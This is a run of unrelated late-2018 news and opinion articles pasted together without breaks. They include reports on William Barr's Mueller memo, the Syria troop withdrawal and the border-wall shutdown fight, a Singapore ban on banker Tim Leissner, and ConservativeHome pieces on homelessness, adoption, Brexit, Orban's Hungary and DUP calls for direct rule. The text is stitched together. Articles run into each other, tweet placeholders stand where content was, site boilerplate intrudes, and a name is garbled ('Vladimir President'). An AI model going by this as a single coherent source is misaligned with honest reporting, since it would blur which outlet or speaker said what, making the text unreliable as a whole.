20-page "unsolicited memo" dated June 8 to the Justice Department, according to the report, which added that the Journal had reviewed the document. Mueller is charged with investigating whether there are any links between Trump's 2016 presidential campaign and Russia as well as "any matters that arose or may arise directly from that investigation." Barr wrote in the memo that he was concerned about Mueller looking into whether Trump obstructed justice in several incidents involving former FBI Director James Comey, according to the Journal. Comey claimed that, before he was fired by the president, Trump suggested he drop an investigation into former national security advisor Michael Flynn. Flynn has pleaded guilty to lying to federal agents about his conversations with Russia's then-ambassador to the United States, Sergey Kislyak, in the weeks before Trump took office Barr argued that Trump was acting well within his executive-branch authority, based on the facts as he understands them, the Journal reported. He said the inquiry into whether Trump obstructed justice is based on a "fatally misconceived" theory that could damage the presidency and the executive branch, according to the report. The Justice Department did not immediately respond to CNBC's request for comment outside of U.S. business hours. It told the Journal that Barr wrote the memo "on his own initiative," according to the report. Barr served as attorney general from 1991 to 1993 under President George H.W. Bush. Trump said earlier this month he will nominate Barr into the position. If confirmed by the Senate, Barr would take over from Acting Attorney General Matt Whitaker, who has been in that temporary role since Jeff Sessions left last month. The Journal's report on Wednesday is not the first time Barr's criticisms on Mueller and his team have come to light. In a July 2017 report by The Washington Post, Barr raised questions about those in Mueller's team who have donated to Democratic candidates. For the full report on William Barr's memo to the Justice Department, read The Wall Street Journal. President Donald Trump on Thursday defended his surprise decision to declare victory over Islamic State militants and completely withdraw U.S. troops from Syria, amid criticism from some Republicans and concern from allies and some U.S. military commanders. Meanwhile, Russian President Vladimir President said he largely agreed with Trump's assessment that ISIS had been defeated, and called Trump's move "the right decision" but added that he was skeptical whether the U.S. would fully withdraw from Syria. Putin said Moscow had not noted any signs of a U.S. withdrawal, and that the United States had many times said it was leaving Afghanistan, but still retained a presence there. In a series of early posts on Twitter, Trump said he was fulfilling a promise from his 2016 presidential campaign to leave the Middle Eastern nation. The United States was doing the work of other countries, including Russia and Iran, with little in return and it was "time for others to finally fight," he wrote. TRUMP TWEET 1 TRUMP TWEET 2 TRUMP TWEET 3 Trump announced on Wednesday that he would begin withdrawing the roughly 2,000 U.S. troops from war-torn Syria, although the White House declined to offer a timeline. Some of Trump's fellow Republicans fiercely criticized the move, saying they were not briefed ahead of time and that the move strengthened the hand of Russia and Iran, which both support Syrian President Bashar al Assad. U.S. officials, speaking on condition of anonymity, have told Reuters that U.S. commanders on the ground are also concerned about the impact of a quick withdrawal. "Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there (sic) work. Time to come home & rebuild. #MAGA," Trump wrote on Twitter. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight," he added. President Donald Trump argues about border security with Senate Minority Leader Chuck Schumer (D-NY) in the Oval Office on December 11, 2018 in Washington, DC. President Donald Trump sent mixed messages on Thursday over his willingness to shutdown the government over his proposed border wall, as polls show support for it rising among Americans. Early Thursday morning, Trump said in a post on Twitter that talk about the wall was distracting from the work being done by border patrol and the military. But hours later, the president repeated his demand for wall funding in a government spending bill. In a morning tweet that came just three days after blasting Democrats for "saying that you can have good Border Security without a Wall," the president, facing the diminishing viability of his plan, said that talk of the wall was distracting from the "great job being done on our Southern Border." "Remember the Caravans? Well, they didn't get through and none are forming or on their way," the president wrote. "Border is tight." Just before 11 a.m., the president wrote in a post that when he "begrudgingly signed the Omnibus Bill, I was promised the Wall and Border Security by leadership. Would be done by end of year (NOW). It didn't happen!" "We foolishly fight for Border Security for other countries - but not for our beloved U.S.A," Trump wrote. "Not good!" In a statement, The White House said shortly after the tweet was posted that, at the moment, "the President does not want to go further without border security, which includes steel slats or a wall." The conflicting messages, coming as the House GOP was meeting in a closed-door conference, have created an air of uncertainty as the president's odds of securing funding have slipped. It is not clear if the House will pass a bill staving off the looming government shutdown or if Trump will sign it. Lawmakers must pass a spending bill before Friday at midnight to avoid a partial government shutdown. On Wednesday, Sen. Majority Leader Mitch McConnell ignored the president's demands for a wall by introducing a short-term spending measure that is silent on the issue. The measure, if approved in the House, will fund the government through the first week of February, punting the fight over the wall into the starting weeks of Rep. Nancy Pelosi's term as Speaker of the House. Trump tweet The measure disappointed the president's conservative base, including traditional allies. Trump has yet to say if he will sign off on the plan. Building a wall along the southern border was a signature aspect of the president's campaign for the presidency and played a key role at his political rallies, where he led chants of "Build that wall!" Though the political outlook for the wall is grim, support among Americans has actually grown since Trump took office. Support hit a record last week, according to a Quinnipiac University poll released Tuesday, even as a majority of voters continue to oppose it. 2nd Trump tweet A separate poll this month showed that 60 percent of Republicans believe wall funding is important enough to shut down the government including nearly two-thirds of Republican men. That's a dramatic increase from November, when only 49 percent of Republicans told the same pollsters that wall funding was important enough for a shutdown. "If he agrees to the CR, which would continue funding the government at the current levels, he won't get $1-point-anything [billion] for the wall," Fox & Friends co-host Steve Doocy said Wednesday. Read more As Trump holds out for border wall funding from Congress, GoFundMe raises over $3 million in 3 days The House Freedom Caucus, the right-fringe of Republicans in the lower chamber, called on the president to veto McConnell's proposal Wednesday night, and cited Trump's previous remarks saying he would not sign another spending bill that did not include wall funding. "I rise to encourage my colleagues to stay in the fight to have the president deliver on a promise," caucus chairman Mark Meadows, R-N.C., said from the floor of the House. The freedom caucus, which was occasionally able to tank bills while Republicans held the majority, will lose that power once Democrats take control in two weeks. In response to criticism from the base, the White House has issued a number of statements this week that have sought to create political space for the president to sign a bill that does not include wall funding. White House Press Secretary Sarah Huckabee Sanders played down the president's claim that he would be "proud" to have a shutdown over the issue, telling Fox News Tuesday that "at the end of the day we don't want to shut down the government, we want to shut down the border." She said that the White House had "other ways" of getting the $5 billion in funding for the wall that the president has demanded. The next day, Trump said that that the military will build the wall something that experts say is unlikely to be viable without congressional appropriations and contended that "Mexico is paying (indirectly) for the Wall through the new USMCA, the replacement for NAFTA!" But Thursday's post suggests a new political argument from the president: That the border is already secure. It is a point that Trump seemed to waver about on December 11 during a heated Oval Office confrontation with Minority Leader Chuck Schumer, D-N.Y., and Pelosi. The president told Schumer at the time that "if it's not good border security, I won't take it," but told Schumer to "look at these numbers of the effectiveness of our border security," and the job that the military was doing at the border. Seemingly caught off guard, Schumer repeated to the president, "Yeah, you just said it's effective." "Where you have walls, Chuck, it's effective," the president said. "Where you don't have walls, it is not effective." A member of the US forces stands guard during a meeting between US special Presidential Envoy for the Global Coalition to Counter IS and the Tabqa Civil Council in the town of Tabqa, about 55 kilometres (35 miles) west of Raqa city, on June 29, 2017. DELIL SOULEIMAN | AFP | Getty Images President Donald Trump's abrupt announcement Wednesday to withdraw U.S. troops from Syria has alarmed Trump allies and opponents alike, sparking fears it will backfire on American goals in the region. Critics warn the dramatic policy turnaround will hurt U.S. counterterror operations, diminish its influence on the ground, and bolster freedom of movement for Iran and remaining Islamic State, or ISIS, militants in Syria. In an even more unexpected move, the U.S. will end all its air activities including strikes against ISIS as part of the withdrawal, Reuters reported Thursday. "Withdrawal of this small American force in Syria would be a huge Obama-like mistake," Sen. Lindsey Graham, R-S.C., an otherwise staunch Trump ally, tweeted Wednesday. "A decision to withdraw will also be viewed as a boost to ISIS desire to come back." Tweet1 Graham was responding to Trump's initial tweet attempting to justify the Syria shift, which said: "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency." While a Pentagon spokesperson affirmed the campaign against ISIS would continue, the new plan is to withdraw U.S. troops from Syria within 60 to 100 days. Sen. Marco Rubio, R-Fla., said in a Facebook livestream that "while ISIS has been significantly degraded ... it is not fair or wise to say that they have been defeated. This is a bad idea because it actually, it goes against the fight against ISIS, and potentially helps ISIS." We should not and cannot allow ISIS to breathe at this critical point or we will jeopardize the significant gains we have made... and risk allowing ISIS to resurge. Navy Cmdr. Sean Robertson Pentagon spokesman Military officials appear to agree. As recently as Dec. 13, Pentagon spokesman Navy Cmdr. Sean Robertson said: "Coalition forces are working closely with the Syrian Democratic Forces (SDF) who are in the midst of offensive operations against ISIS. ... We should not and cannot allow ISIS to breathe at this critical point or we will jeopardize the significant gains we have made alongside our Coalition partners and risk allowing ISIS to resurge." According to a U.S. military estimate released last summer, up to 30,000 ISIS fighters remain across Syria and Iraq. A morale boost for Assad and Iran While critics say Washington didn't have a coherent Syria policy to begin with, the presence of some 2,000 U.S. troops in the country aimed to serve the primary agenda of combating ISIS and containing Iranian influence, while deterring further military action by adversaries in the region. But a U.S. withdrawal should embolden Syrian President Bashar Assad and his Iranian and Russian backers, giving them the freedom to shape Syria's future themselves, experts said. "This means that the U.S. is giving up almost all possibility to have a say in upcoming peace negotiations regarding the Syrian conflict," Agathe Demarais, a principal economist at the Economist Intelligence Unit, told CNBC. "Meanwhile, both Russia and Iran will be keen to capitalize on the U.S. withdrawal from Syria, and to use this as yet another illustration, in their view, of the fact that the Syrian regime won the war and the country is now about to be ready for reconstruction operations led by Russian and Iranian companies." The decision also contradicts the statements of Trump's own top advisors. In September, national security advisor John Bolton said, "We're not going to leave [Syria] as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias." Free Syrian Army fighters fire an anti-aircraft weapon in a rebel-held area of Aleppo, Syria December 12, 2016. Abdalrhman Ismail | Reuters Amid the chorus of alarm, however, a number of observers point out that there was never an articulated endgame in Syria, and that those opposing a troop pullout may be overestimating what the U.S. could have accomplished if it remained on the ground. The Atlantic Council's Faysal Itani wrote in a policy brief that the withdrawal sacrifices whatever leverage the U.S. had against Assad or Iran, while admitting that that leverage was not particularly huge to begin with. Russia's Foreign Ministry, meanwhile, welcomed the news, slamming America's presence in Syria as "illegal" and a "dangerous obstacle" in the path toward a peace settlement during a Wednesday news briefing. Trump responded to criticism in a tweet Thursday morning. "Does the USA want to be the policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever?" he wrote. Tweet2 Israeli critics warn of 'all-out conflict' The concern over Iran was reiterated by former Israeli Defense Minister Avigdor Lieberman, who told Israeli radio on Thursday that a vacuum left by the U.S. would empower Tehran and its proxy force Hezbollah, which has used Syrian territory to carry out cross-border drone and rocket attacks into Israel. In turn, Israel has carried out hundreds of airstrikes targeting Iranian-linked forces in Syria. "The withdrawal of the U.S. from Syria significantly raises the chance of an all-out conflict in the north both [in] Lebanon and Syria," between Israeli and Iranian-backed forces, Lieberman said. Iranian expansion in the absence of U.S. forces could risk triggering dramatic escalation between the two. Behnam Ben Taleblu, of the hawkish think tank Foundation for Defense of Democracies, sees the move as a "major setback" for Trump's "maximum pressure" policy on Iran. "The removal of U.S. troops from Syria effectively permits Tehran to say they bested the U.S. in a seven-year shadow war in Syria," he said, adding that the haste with which the decision was apparently made echoes the Obama administration's ill-fated decision to rapidly withdraw troops from Iraq in 2011 a move credited for ultimately allowed one-third of the country to fall to ISIS. Bazaar Corporate Radar | Feb 22, 2021, 12:00 AM IST Bazaar Corporate Radar Bazaar Corporate Radar is your window into the minds of top CEOs, Boardrooms, global economists, fund managers and sector analysts. If it?s making news, you?ll find it on Bazaar Corporate Radar. Colorado Politics is published both in print and online. Our website features subscriber-only news stories daily, designed for public policy arena professionals. Member subscribers also receive the weekly print edition of our award-winning newspaper, containing outstanding features and news stories, in their mailboxes every Saturday. A polygamous group known as the Fundamentalist Church of Jesus Christ of Latter Day Saints, or FLDS, is letting go of the sprawling building shown in this October 2017 photo, in the latest sign that the sect run by imprisoned leader Warren Jeffs is crumbling and losing control of the community it ruled for a century. MAS bans former Goldman banker for life over 1MDB charges The Monetary Authority of Singapore (MAS) imposed a lifetime ban on former Goldman Sachs (Singapore) director Tim Leissner. This follows Leissners admission to criminal charges brought against him by the United States Department of Justice (US DOJ), MAS said in a press statement on Wednesday, December 19. Last year on March 13, MAS had issued a 10-year Prohibition Order (PO) against Leissner after he was found to have issued an unauthorised reference letter on behalf of Goldman Sachs (Asia) L.L.C. to a financial institution based in Luxembourg. In the letter, he had made false statements without the firms knowledge. Under the order, Leissner was prohibited from performing any regulated activity under the Securities and Futures Act (SFA). He was also not allowed to take part directly or indirectly in the management of any capital markets services firm in Singapore. Photo courtesy: Goldman Sachs On November 1, 2018, the US DOJ charged Leissner for conspiracy to commit money laundering, and violate the US Foreign Corrupt Practice Act. He has pleaded guilty to these charges. Leissner also admitted to participating in a conspiracy to obtain and retain business from 1MDB for Goldman Sachs through the promise and payment of bribes and kickbacks to government officials in Abu Dhabi and Malaysia, and by embezzling funds from 1MDB for himself and others. He then laundered these bribes, kickbacks and funds through financial systems in the US and elsewhere. The US DOJs charges and Leissners guilty plea have provided further evidence of the former banker's involvement in funds flows related to 1MDB. These were previously not available to MAS. The 10-year PO issued against him in March 2017 was based on the limited information available to MAS at that time. MAS was unable to interview Leissner as he was not in Singapore and could not be compelled to travel to Singapore to assist in investigations. Interview: Lord Bird says homelessness is not just for Christmas, and the death penalty might deter knife crime On Tuesday night a homeless man was found dying outside the Houses of Parliament. Earlier that day, ConHome interviewed Lord Bird better known as John Bird, founder in 1991 of The Big Issue about homelessness. Bird said it is no use just caring about the subject at Christmas, or imagining there is some quick fix for it. But he described Theresa May as the most impressive Prime Minister Ive spoken to about homelessness, and he has spoken to everyone since Tony Blair. When asked if he is still (as he once said) a working-class Tory, he replied: I just loathe what liberalism has become, which is almost a kind of front for just letting things slip. In the Lords he sits as a Crossbencher. He has a gift for running off full tilt at some interesting tangent, and as an illustration of his defiance of the liberal consensus, launched into the arguments in favour of capital punishment, which he contended might help to deter knife crime. He expressed his disappointment with the British middle class, saying he took a lot of trouble to rise into it, but then found it unwilling, for all its education, to do the intellectual work needed to deal with homelessness. ConHome: Youre walking down the street, you see someone sleeping in a doorway, you think thats shameful. Bird: The thing about homelessness is that it can never, ever be dealt with as a thing in itself. What actually happens is you get a lot of people at this time of the year, they forget about poverty, they forget about cause and effect, and they just deal with this insult to our eyes and our sensibilities, and our sense of Christian love for our fellow man, and we get very, very upset. Because we are moving towards this beautiful ceremony which is the birth of Christ. We almost feel kind of a bit better each day, the nearer we get to it, it is about salvation, even people who are not religious, you see them wanting to do good things around Christmas. So youre moving that way and at the same time theres this appalling evidence of the failure to do anything about it. You come round the back by the [Westminster Underground] station and theres a number of guys staying there, and occasionally you see MPs talking to them, by Parliaments entrance into the station, and everybody gets very upset with the sight of these guys laying around. It is here that the dying man was found on Tuesday night. And Im always saying why not have a vigorous response to emergency instead of an unvigorous response to emergency, and why dont we start looking at the budgets, and why is the budget always there when the shit has hit the fan, metaphorically speaking, but is never there for the prevention of the fan being covered with ordure? I find that most crazy. It took me a while to get into the British middle class and Im being quite honest, Ive been thoroughly disappointed with their abilities to actually think. You know, the universities and the public schools, they dont seem to be able to put together a programme for saying OK, how can we prevent this from happening? From the days of Blair, when we started The Big Issue, I never met anybody who you could respect their thinking. They always kind of talked in short terms: What were going to do is put some money behind these homeless organisations, wholl get these people off the streets, and then well put them into social housing, and well have an ecosystem. ConHome: Oh heavens. Bird: And then you say hang on, but when theyre in the social housing, and you visit them as I do, five years after theyve been rehoused, theyre still living in bin liners. Theyre not working, theyre not earning, theyre socially isolated. Theyve gone from wet, outdoor, moist, trench-foot homelessness, to indoor homelessness. And then they become a drain on the rates, they become an absolute pain to the people around them, because theyve got all day doing nothing, and no one has ever tried to get the demons out of them that have brought them into this cycle of failure. Im not impressed by cleverness, because Ive seen too many clever people do stupid things. Im not impressed by education, because Ive seen very, very educated, some of the most educated people in this world are to be found in both Houses [of Parliament]. But we need more than the sum of what theyve got. What we really need is an intellectual revolution where we stop and we say, Why is government not working? Why is it that when we intervene in the crisis of poverty, theres 80 per cent of our money that goes into emergency and coping, not into prevention or in cure. And when I met Theresa May, who to me has been the most impressive Prime Minister Ive spoken to, and Ive had dealings with four of them. ConHome: What impressed you about her? Bird: She listened. She gave me half an hour and took 45 minutes, and wrote down, and responded to our notes, and actually at times was ahead of us, saying So what youre saying is you feel that we need to put prevention right in the middle of the Government, this is what I intend doing. Two days later she declared the election. If shed won the election as opposed to limped through, I think we might have had a different regime from her. I have been in the company of, and spoken to, and been chummy with Blair, Brown, Cameron, and here comes no-nonsense May, and I thought Oh, and Oliver, who works with me, he just said Yeah, shes different. So what youve got is somebody doing a job, its like being an architect, and someone saying Before you build this beautiful brick house youve got to sort out the drains, and thats Brexit. And I dont think shes particularly good at drains. But I think she might have been quite good at building this preventative form of methodology for the Government to embrace. Thats what I believe. So Im not trying to have a go at the British middle class. ConHome: Well youre in the upper class now. Youve sprung from the working class to the upper class. The middle class has got to take the rap. Bird: But the point is, the answer lies in the middle. It doesnt lie in the extremes. So until you can convince the British middle class to get off their intellectual arses and actually do a bit of deep thinking and a deep involvement ConHome: You must find you have to repeat yourself an awful lot, especially just before Christmas. Bird: Oh yeah, its a real Groundhog Day. I whinge even more each year because come 3rd January you could go to the BBC Ive just come from Sky and try selling them a story about homelessness, and you get Oh no, no, no thats seasonal. ConHome: I was struck by your remark in 2010, My guilty secret is that Im really a working-class Tory. Is that still your guilty secret? Well its not secret any more, but is it still the case? Bird: Well I also went on and said I believe in the return of capital punishment. ConHome: Do you still believe in that? Bird: Well I think there is something that goes on in most peoples lives. You make conscious decisions to do things like to be kind to animals, or to be pleasant to old ladies, but underneath it all you may not be well-disposed towards children or women. And I have tried desperately hard to be incredibly liberal and all that, but every now and then I just loathe what liberalism has become, which is almost a kind of front for just letting things slip. Im a cradle Catholic and Im a cradle Conservative. I would like to be an unbeliever, but I cant get away with it. So Im on overdrive. What I meant by that is every time some heinous crime is committed against children, or against weak children, or against disabled people, I want to go out and cut their throats. Or get the state to do it for me. I did a lot of work on the repeal of capital punishment, and I found there was really no rationale. I want the discussion to be opened up, largely because if anyone did anything against my family, I would want everybody to do with it to be strung up in public, or not in public. I thought there was a real snidey piece of bullshitty thinking. ConHome: When the death penalty was abolished? Bird: Yes. I mean I was very glad, because my mother was a lovely Irishwoman who was convinced that because I started off as a petty criminal ConHome: You were going to end your days on the gallows. Did she actually tell you that? Bird: Oh yes. She said One day youll fecking die.' ConHome: Very good. Bird: And then she modified it, and said, If youre going to be hung, Tony I was Tony Bird then if youre going to be hung, Tony, Id like you to be hung for Ireland. As long as I blew someone away ConHome: As an IRA man? Bird: Yes. ConHome: They were heroes as far as she was concerned. Bird: Yes. But when the bombs did start, she got very upset and she hated it all. So she was a romantic, from the days when Brendan Behan arrived in Liverpool with a bomb to blow up someone to frighten them out of the six counties. ConHome: Anyhow, you still think we should have the death penalty. Bird: No, I think we should have the debate about the death penalty. Because what has happened is that in the same way as we have privatised many services, weve also privatised the death penalty. There was a time when the state had the monopoly on violence. ConHome: Whats the private way of doing the death penalty? Bird: You only go to south London, you have to be a young kid and somebody sticks a knife in you, that is the privatisation. Theres no state monopoly of violence. ConHome: Well there never has been a total monopoly. Weve always had some murders. Bird: But the state always had the legal opportunities. Now what weve done is weve privatised the monopoly. The monopoly is held by the public. I know so much about those little arseholes with their knives, I think theres a chance that if they felt that theres chances that they themselves would be destroyed for that act, they might stop doing it. ConHome: It hasnt worked very well in America. Bird: Thats because theres a monopoly of the use of guns. ConHome: Thats always been privatised in America. Bird: The interesting thing about America is youve actually got a devaluation of human life, which is very much to do with the slave trade and the fact that they never really could absolve themselves of that responsibility, and it will take hundred and hundreds of years. The interview could have continued for many hours, but Bird had to take part in a debate in the House of Lords. Peter Hitchens, in his book The Abolition of Britain, says: The spread of central heating and double glazing has allowed even close-knit families to avoid each others company in well-warmed houses, rather than huddling round a single hearth forced into unwanted companionship, and so compelled to adapt to each others foibles and become more social, less selfish beings. Some thought this meant he advocated the abolition of central heating. This was a misinterpretation. But certainly, the traditional stereotype of the family is less likely to be reflected in reality. Not just due to technological change but also, of course, divorce and family separation. Christmas is when that sentimental vision is most likely to be measured against our contemporary lives. What will Christmas be like for the children in care? Naturally, experiences will vary. Im sure foster carers will generally make an effort to provide some festive cheer. But the typical experience for children in care is being shunted about. From foster carer, back to the birth mother, and when that doesnt work out, its off to a new foster carer. Clothes and belongings chucked into a couple of black plastic bin bags and off in a minicab to yet another new quarters. An endless cycle of placements. Many of these children (I would argue the large majority of them) could and should be provided with the permanent, loving home that being adopted would mean. Instead, for these children, Christmas will often mean a cruel reminder of their status and yet more disruption and conflict. When Michael Gove served as Education Secretary, there was no doubting his sincerity in wishing to see the adoption rate increase. For him, it was personal. As he said when seeking to become Prime Minister a couple of years ago: The first four months of my life were spent in care, before I was adopted by my wonderful parents my mum and dad Ernie and Christine. They went on to adopt my sister, who is profoundly deaf, and invested both of us with a love and support that informs everything I do today. I remember my mum explaining to me what adoption meant when I was still at primary school. Son, she said to me, you didnt grow under my heart, you grew in it. Whatever else I know, I know that if you invest love and care in any individual you can help them to make a difference, to write their own life story. Yet Im afraid that Gove, and his successors as Education Secretary, have failed in this respect. After some very modest progress, the situation is actually getting worse. The blob has triumphed. The latest statistics make for grim reading: At 31 March 2018, there were 75,420 looked after children in England, up four per cent on 31 March 2017.3,820 children ceased to be looked after due to adoption, a decrease of 13% on 2017, continuing the drop in numbers seen last year and down from a peak of 5,360 adoptions in 2015. Most of these children in care (or looked after children) are with foster carers. About 11 per cent are in institutional care, Childrens Homes, which is much worse for them and much more expensive for the taxpayer. Three years ago, I concluded that the Governments mission to champion an increase in adoption had not succeeded. Since then, it would seem to have given up even trying. This does not mean that the miserable trend must inevitably continue. But any transformational change will not be achieved if arrangements are left to the discretion of social workers. The social work establishment is quite open in its ideological hostility to adoption. What is required is a change in the law so that there is a presumption in favour of adoption, rather than the massive presumption against which operates at present. This is provided the law is clear that the prejudices of social workers and judges can be overcome. Keeping so many children trapped in care is not just a tragedy for them. It is a national tragedy. It should not be regarded as a fringe issue. One of most effective ways to defeat crime would be to boost adoption. A quarter of prisoners spent their childhoods in care. That equates to children in care being 50 times more likely to end up in prison when they grow up than other children. Only six per cent of children in care will go to university. Apparently, that means that these children are more likely to end up in prison than university. That is a disastrous outcome not just for them, but for the rest of us. One might call it a burning injustice. But it is not something the Prime Minister has shown much interest in. I hope that her successor will give it greater attention. Justine Greening is MP for Putney, and a former Secretary of State for Education. Last December, the Prime Minister seemed on course to deliver on her Lancaster House and Mansion Houses speeches which had set out her red lines on the Governments Brexit negotiations. But months later, by the summer, after I had left Cabinet, we were suddenly faced with the Chequers Deal, an unworkable fudge of the worst kind. It was no wonder David Davis and Boris Johnson, my friends and colleagues, resigned from Cabinet. This was not the Leave they had campaigned for. I described it as the worst of all worlds back in July. It was clear then that this proposal would not succeed in the Commons. And now, far from taking back control, the legal incarnation of the Withdrawal Agreement and Political Declaration in fact represents the biggest sovereignty giveaway ever seen in peacetime for our country. As Boris has said: This deal is a disaster for our country. It basically means the EU can blackmail us into any terms they like in the course of the negotiations on our future. And with a price tag of 39 billion for the privilege. As Jacob Rees-Mogg has said: This deal hands over 39 billion of UK taxpayers money with no guarantee of any long term agreement in return. In two years time we could be in the same place less 39 billion. Of course, for our Conservative and Unionist Party, the Northern Ireland border issue is one of the many problems with the Prime Ministers deal. The Prime Minister is now seeking to get progress on the so-called backstop, but its clear that meaningless, warm words from a Brussels communique will not fob off the very real concerns of many MPs about the Union and the Good Friday Agreement. It will not change the minds of principled MPs who gave up Government jobs and Cabinet careers because they know this deal as a whole is a bad one for Britain. As for the rest of what has been signed up to the rules without say, being subject to EU fines, and blocked UK representation internationally pressure from the whips will not get Conservative MPs who have publicly come out against this deal to suddenly do a U-turn after Christmas. As Martin Howe QC put it: It would not let us forge our own trade policy with other parts of the world. It would not make our economy more competitive. It would not give us back control of our laws. This is not a bad deal. It is an atrocious deal. However, its not just the Prime Ministers failed compromise deal that will not get a majority backing it. Parliament is gridlocked on any version of Brexit. Two years on, thats the uncomfortable reality. Labour might have no meaningful policy on Brexit, but it is the Conservative Party that is in Government and it is our responsibility to find a solution. The added challenge is the almost impossible Parliamentary maths following the monumental mistake of the 2017 general election, which left the Prime Minister short of a majority for anything. Colleagues across the House are now trying to find a way through this mess. From Canada to Norway, or a second referendum, MPs are trying to find a way out the dead end we have been driven into by these failed negotiations. I dont pretend for one second that a second referendum is a perfect solution to the difficulties that the country and the Conservative Party now finds itself in. It would have been preferable if the Prime Minister had achieved a deal which could get the support of the public. Instead, hers has just 15 per cent support among the public. I also recognise that the public are fed up to the back teeth with Brexit and would prefer Parliament to just get on with it. They have every right to be. Its two-and-a-half years since Brexit, and still no deal has been voted on. As things stand, the Governments even pulled the Parliamentary debate. Were going round in circles and we need to get a direction fast. We now know the choices facing Britain on Brexit. The choices are to take the Prime Ministers deal, to reject the Prime Ministers deal and leave on WTO terms, or to keep our existing deal. If Parliament cannot find a consensus for itself, we must trust the British people to do it and let them choose from the three options ahead for the future of our country. There are two ways to do that. Either through a referendum or risking a general election and a possible Corbyn government. That is not a risk we should take. My proposal for a Consensus Referendum would give people the choice between the three options, with first and second preference votes to avoid splitting the Brexit vote unfairly. Having three options on the ballot paper isnt complicated, more than two options is what most voters have at every single election. As for first and second preference votes, its how we elect mayors and Police and Crime Commissioners up and down the country. I also propose the Government should not have a formal position on campaigning in the referendum, staying neutral to recognise that people across the Conservative Party have very genuinely held, but different, views on the best course forward. A second referendum might annoy people in the short term while we all find a solution. But it will be nothing compared to Parliament having stitched them up to vote through a deal that is clearly unpopular, doesnt deliver for Remain or Leave voters, will tie us up in knots for decades, and will cost us 39 billion in the process. A second referendum to find the next step forward, backed by 52 per cent of the public, might not be something we look forward to, but voting through a Brexit plan that pleases just 15 per cent of voters is far from a recipe for electoral success. And make no mistake, it will used by Jeremy Corbyn and Labour to attack us with for the year to come and beyond. Thats the choice for MPs and for our Party in the New Year. Agree to a back room deal that the public does not want and delivers for no one, or let the public choose a route forward that finally gives Britain the direction we desperately need. Garvan Walshe is a former National and International Security Policy Adviser to the British Conservative Party. He runs TRD Policy. Budapest. Thousands march towards the state TV building to demand they cover days of popular protests they have studiously been ignoring (pigeons and their fate, among other things, have been prime time news on Hungarian official channels). 1988? No, this week. Opposition parliamentarians demand access to the building, as is their right in Hungarian law. Entrance is refused, but they find their way in. They want to read their demands, which include the restoration of media freedom and the abolition of new courts established under the direct control of the justice ministry, on TV. Their request is refused. Finally, the next morning, theyre roughed up and expelled from the building by private security guards. One, Laszlo Varju, is beaten so badly he is hospitalised. Something is changing. The precarious balance where Viktor Orban pretends not to be a dictator, and the opposition pretend theres no need or possibility to rise up against him, has shattered. Since taking power in 2010, he has hollowed out Hungarys democratic institutions one by one. He calls this illiberal democracy but its really zombie democracy in which peoples formal power is ignored in the service of a governing clique. Let me declare an interest. Im no fan of Orban. I chair Unhack Democracy Europe, which is running an initiative to investigate irregularities in the 2018 election. I believe that people who still live in functioning democracies should help people whose institutions are under threat. With a two-thirds majority in the parliament, control of 87 per cent of the media (state and nominally independent) Orban seemed unassailable. He could expel Hungarys most reputed university, pass legislation that taxed political activity he didnt agree with watch his cronies get inexplicably wealthy, all the while subsidised by British taxpayers EU contributions. Then he made a fateful mistake. Alongside the constitutional manipulation of which he is a past master (this time to set up a network of courts directly under government control) he rammed through a new labour law in an irregular session. The tumult (including a visibly shaken Orban) was livestreamed by MPs and found its way to millions of mobile phones across Hungary. The labour law, that involved extending the amount of overtime that could be included in contracts, contained one crucial catch: employees would have to wait three years to actually get paid for their extra work. Unions and opposition campaigners swiftly denounced this as the Slave Law an exaggeration, but hardly as exaggerated as the florid claims of a George Soros led conspiracy made by Orban himself. What had been a recondite debate about the powers of government that only elements of society already opposed to Orban concerned themselves with suddenly became something that hit peoples daily lives. As thousands took to the street official propaganda mouthpieces denounced them as agents of, guess who, George Soros, and, in a slip that betrays official Hungarys alignment with Putin, accused them of plotting a Ukraine-style Euromaidan peaceful overthrow of a corrupt autocrat. Pigeons were indeed a safer choice of topic for the state broadcaster. Tomorrow, a bigger demonstration is planned. As in Communist times, the target is the state lie machine the regime uses to hide from its own people the costs of its corruption and mismanagement, and blame them, as though taking its lines from a Nasserite dictatorship, on the machinations of a Jewish financier. In Hungary, despite consistent and fast economic growth, public services are suffering after political cronies have replaced competent managers. Hospitals struggle to retain staff, who have left for freer places, and even, in an echo of Communist times, remain under-stocked with toilet paper. Until recently, the regime has kept its repression financial: taxes on private advertising to bankrupt independent media; tilting public procurement to cow the private sector; direct interference in universities and ministerial pre-clearance of cultural institutes output; politically motivated audits of businesses affiliated with the opposition. In recent weeks, however, the pressure has turned darker. A mysterious fire at an opposition partys offices. Police pepper spraying peaceful demonstrators. And now the assault on an opposition MP. The issue is not a single law, but abuse of power by an unaccountable ruling clique. This raises an important question of conscience of the Conservative Party. Indeed, Peter Niedermuller, an MEP for the DK party whose offices suffered the fire, told me he was saddened by Tory MEPs vote with Orban over the application of the EUs Article 7 in September. Rumour has it it was done in an attempt to curry favour with Orban in the Brexit negotiations. If that was the reason, it has clearly failed. The Hungarian governments behaviour has now crossed the line beyond which considerations of national sovereignty should affect Britains diplomatic stance. The Conservative Party stood up for human rights in Eastern Europe during the Cold War, and its time we did so again. Jeremy Hunt should condemn this autocratic thuggery, which is happening less than two hours flight away.Leaving the EU must not mean leaving the European community of democratic values. Democratic Unionist MP calls for return of direct rule Emma Little-Pengelly, the DUP MP for Belfast South, has called for Westminster to resume direct rule of Northern Ireland, the Times reports. Although taking pains to emphasise that they are a party of devolution, she argued that it is inappropriate that life or death decisions about the Provinces governance are being made by civil servants without political oversight or accountability. March 2019 will mark two years since the collapse of Ulsters power-sharing administration and devolved assembly. Since the UK Government has refused to step in, the local civil service which is currently ramping up preparations for a no deal Brexit has been left to administer the Province on auto-pilot. Interestingly, this is not the only integrationist noise from the DUP this month: Arlene Foster earlier floated the idea of the Northern Irish civil service (which has stood discrete for almost a century) being abolished and its responsibilities returned to the Home Civil Service. The Government is deeply reluctant to resume responsibility for governing Northern Ireland, both because of the additional pressure it will mount on the parliamentary timetable and because it will signal in 